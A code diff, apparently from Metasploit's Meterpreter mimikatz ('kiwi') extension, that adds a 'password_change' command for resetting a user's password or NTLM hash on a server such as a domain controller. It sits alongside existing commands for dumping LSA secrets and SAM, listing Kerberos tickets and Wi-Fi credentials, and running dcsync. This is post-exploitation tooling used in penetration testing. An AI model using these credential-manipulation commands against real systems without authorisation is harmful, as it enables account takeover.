@@ -38,7 +38,7 @@ def initialize(shell)
38
38
super
39
39
print_line
40
40
print_line
41
- print_line ( " .#####. mimikatz 2.1.1-20170409 (#{ client . session_type } )" )
41
+ print_line ( " .#####. mimikatz 2.1.1 20170608 (#{ client . session_type } )" )
42
42
print_line ( " .## ^ ##. \" A La Vie, A L'Amour\" " )
43
43
print_line ( " ## / \\ ## /* * *" )
44
44
print_line ( " ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )" )
@@ -72,6 +72,7 @@ def commands
72
72
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)' ,
73
73
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)' ,
74
74
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)' ,
75
+ 'password_change' => 'Change the password/hash of a user' ,
75
76
'wifi_list' => 'List wifi profiles/creds for the current user' ,
76
77
'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)' ,
77
78
}
@@ -82,6 +83,92 @@ def cmd_kiwi_cmd(*args)
82
83
print_line ( output )
83
84
end
84
85
86
+ #
87
+ # Valid options for the password change feature
88
+ #
89
+ @@password_change_usage_opts = Rex ::Parser ::Arguments . new (
90
+ '-h' => [ false , 'Help banner' ] ,
91
+ '-u' => [ true , 'User name of the password to change.' ] ,
92
+ '-s' => [ true , 'Server to perform the action on (eg. Domain Controller).' ] ,
93
+ '-op' => [ true , 'The known existing/old password (do not use with -oh).' ] ,
94
+ '-oh' => [ true , 'The known existing/old hash (do not use with -op).' ] ,
95
+ '-np' => [ true , 'The new password to set for the account (do not use with -nh).' ] ,
96
+ '-nh' => [ true , 'The new hash to set for the account (do not use with -np).' ]
97
+ )
98
+
99
+ def cmd_password_change_usage
100
+ print_line ( 'Usage password_change [options]' )
101
+ print_line
102
+ print_line ( @@password_change_usage_opts . usage )
103
+ end
104
+
105
+ def cmd_password_change ( *args )
106
+ if args . length == 0 || args . include? ( '-h' )
107
+ cmd_password_change_usage
108
+ return
109
+ end
110
+
111
+ opts = { }
112
+
113
+ @@password_change_usage_opts . parse ( args ) { |opt , idx , val |
114
+ case opt
115
+ when '-u'
116
+ opts [ :user ] = val
117
+ when '-s'
118
+ opts [ :server ] = val
119
+ when '-op'
120
+ opts [ :old_pass ] = val
121
+ when '-oh'
122
+ opts [ :old_hash ] = val
123
+ when '-np'
124
+ opts [ :new_pass ] = val
125
+ when '-nh'
126
+ opts [ :new_hash ] = val
127
+ end
128
+ }
129
+
130
+ valid = true
131
+ if opts [ :old_pass ] && opts [ :old_hash ]
132
+ print_error ( 'Options -op and -oh cannot be used together.' )
133
+ valid = false
134
+ end
135
+
136
+ if opts [ :new_pass ] && opts [ :new_hash ]
137
+ print_error ( 'Options -np and -nh cannot be used together.' )
138
+ valid = false
139
+ end
140
+
141
+ unless opts [ :old_pass ] || opts [ :old_hash ]
142
+ print_error ( 'At least one of -op and -oh must be specified.' )
143
+ valid = false
144
+ end
145
+
146
+ unless opts [ :new_pass ] || opts [ :new_hash ]
147
+ print_error ( 'At least one of -np and -nh must be specified.' )
148
+ valid = false
149
+ end
150
+
151
+ unless opts [ :user ]
152
+ print_error ( 'The -u parameter must be specified.' )
153
+ valid = false
154
+ end
155
+
156
+ if valid
157
+
158
+ unless opts [ :server ]
159
+ print_status ( 'No server (-s) specified, defaulting to localhost.' )
160
+ end
161
+
162
+ result = client . kiwi . password_change ( opts )
163
+
164
+ if result [ :success ] == true
165
+ print_good ( "Success! New NTLM hash: #{ result [ :new ] } " )
166
+ else
167
+ print_error ( "Failed! #{ result [ :error ] } " )
168
+ end
169
+ end
170
+ end
171
+
85
172
def cmd_dcsync ( *args )
86
173
return unless check_is_domain_user
87
174
0 commit comments